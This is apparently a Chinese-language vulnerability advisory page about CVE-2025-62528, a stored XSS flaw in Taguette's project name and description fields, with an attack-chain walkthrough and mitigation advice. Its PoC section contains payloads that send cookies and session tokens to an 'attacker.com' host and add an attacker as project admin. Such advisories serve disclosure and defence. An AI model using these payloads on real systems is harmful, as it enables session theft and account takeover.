IPBUF安全漏洞报告
English
CVE-2025-62528 CVSS 5.4 中危

CVE-2025-62528:Taguette项目名称字段存储型XSS漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-62528
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Taguette

相关标签

XSS存储型XSS跨站脚本Taguette开源工具定性研究CVE-2025-62528中危漏洞GitHub安全公告Web安全

漏洞概述

CVE-2025-62528是Taguette开源定性研究工具中存在的一个存储型跨站脚本(Stored XSS)漏洞。Taguette是一款用于定性研究的开源标注工具,广泛应用于学术研究、用户体验研究和社会科学领域。该漏洞影响Taguette 1.5.0之前的版本。

该漏洞的核心问题在于,Taguette应用未对项目成员输入的项目名称(name)和项目描述(description)字段进行充分的输入过滤和输出编码。拥有项目成员权限的低权限用户可以在这些字段中注入恶意的JavaScript代码。由于这些字段的内容会在项目加载时被渲染到页面中,恶意代码会自动执行,无需任何用户交互(UI:N)。

根据CVSS 3.1评分标准,该漏洞的评分为5.4分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),即需要项目成员身份。用户交互不需要(UI:N)。该漏洞对机密性(C:L)和完整性(I:L)有低影响,但不影响可用性(A:N)。

该漏洞已由GitHub安全顾问团队通过[email protected]报告,并在Taguette 1.5.0版本中完成修复。修复方式主要是对用户输入进行适当的HTML转义和过滤,防止恶意脚本在页面渲染时执行。

技术细节

Taguette项目中存在存储型XSS漏洞的根本原因是应用未对用户输入进行充分的输出编码或HTML转义。具体技术原理如下:

1. **输入点**:Taguette允许项目成员编辑项目的名称(name)和描述(description)字段。这些字段接受用户输入的文本内容。

2. **存储机制**:当用户提交包含恶意JavaScript代码的输入时,应用将其直接存储到数据库中,而未进行任何过滤或转义处理。例如,攻击者可以输入`<script>alert(document.cookie)</script>`或`<img src=x onerror=alert(1)>`等载荷。

3. **渲染触发**:当其他用户(尤其是拥有更高权限的用户如项目管理员)打开项目页面时,服务器从数据库中读取项目名称和描述字段,并将其直接嵌入到HTML页面中渲染。由于未进行HTML实体编码,浏览器将恶意脚本作为正常HTML/JavaScript代码执行。

4. **利用方式**:拥有项目成员权限的攻击者首先需要被添加到目标项目中,或者自行创建一个项目。然后在项目名称或描述字段中插入恶意JavaScript代码。当项目管理员或其他成员查看该项目时,恶意脚本将在其浏览器中自动执行。

5. **潜在影响**:攻击者可以利用此漏洞窃取受害者会话Cookie、进行钓鱼攻击、执行未授权操作(如修改项目设置、删除数据)、或者利用浏览器漏洞进行进一步攻击。由于攻击者需要项目成员权限,影响范围相对有限,但仍可对项目管理员构成严重威胁。

攻击链分析

STEP 1
步骤1:获取项目成员权限
攻击者需要首先成为目标项目的成员。可以通过注册Taguette账号、创建新项目并邀请自己,或者通过社会工程学手段被合法用户邀请加入项目。
STEP 2
步骤2:注入恶意脚本
攻击者在项目名称(name)或项目描述(description)字段中输入包含恶意JavaScript代码的载荷。由于应用未对这些字段进行HTML转义或内容过滤,恶意脚本被直接存储到数据库中。
STEP 3
步骤3:触发恶意脚本执行
当项目管理员或其他成员打开该项目页面时,服务器从数据库读取项目名称和描述内容,并将其直接嵌入HTML页面渲染。浏览器将恶意脚本作为合法代码执行,无需任何用户交互。
STEP 4
步骤4:数据窃取与权限提升
恶意脚本在受害者浏览器中执行后,可以窃取会话Cookie、获取敏感信息,或者利用受害者的管理员权限执行未授权操作,如修改项目设置、添加/删除成员、导出项目数据等。
STEP 5
步骤5:数据外传
攻击者通过恶意脚本将窃取的数据(如会话令牌、项目数据等)通过HTTP请求发送到攻击者控制的服务器,完成整个攻击链。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62528: Taguette Stored XSS PoC --> <!-- Vulnerability: Project name/description fields lack proper output encoding --> <!-- Affected: Taguette versions prior to 1.5.0 --> <!-- Step 1: Attacker (project member) creates or edits a project --> <!-- Step 2: Inject malicious JavaScript into the project name or description field --> <!-- PoC Payload 1: Basic cookie stealing via project name --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- PoC Payload 2: Using img tag with onerror handler (for description field) --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- PoC Payload 3: Using SVG with onload event --> <svg onload="alert('XSS by CVE-2025-62528')"> <!-- PoC Payload 4: Stealing session and performing privileged actions --> <script> // Exfiltrate session token var sessionToken = document.cookie; // Create a new admin user or modify project settings fetch('/api/project/1/members', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({email: '[email protected]', role: 'admin'}), credentials: 'include' }); // Send stolen data to attacker server new Image().src = 'https://attacker.com/log?data=' + btoa(sessionToken); </script> <!-- Reproduction Steps: --> <!-- 1. Log in to Taguette as a regular project member --> <!-- 2. Navigate to project settings --> <!-- 3. Set project name or description to one of the payloads above --> <!-- 4. Wait for project admin or other members to view the project --> <!-- 5. Malicious script executes automatically in victim's browser -->

影响范围

Taguette < 1.5.0

防御指南

临时缓解措施
在无法立即升级到Taguette 1.5.0版本的情况下,建议采取以下临时缓解措施:1)严格审查项目成员列表,移除不信任的成员;2)管理员避免打开来源不明或可疑的项目;3)在Web应用防火墙(WAF)层面添加XSS防护规则,过滤恶意脚本载荷;4)使用Content-Security-Policy响应头来限制内联脚本执行;5)对项目名称和描述字段进行手动审查,排查已注入的恶意内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表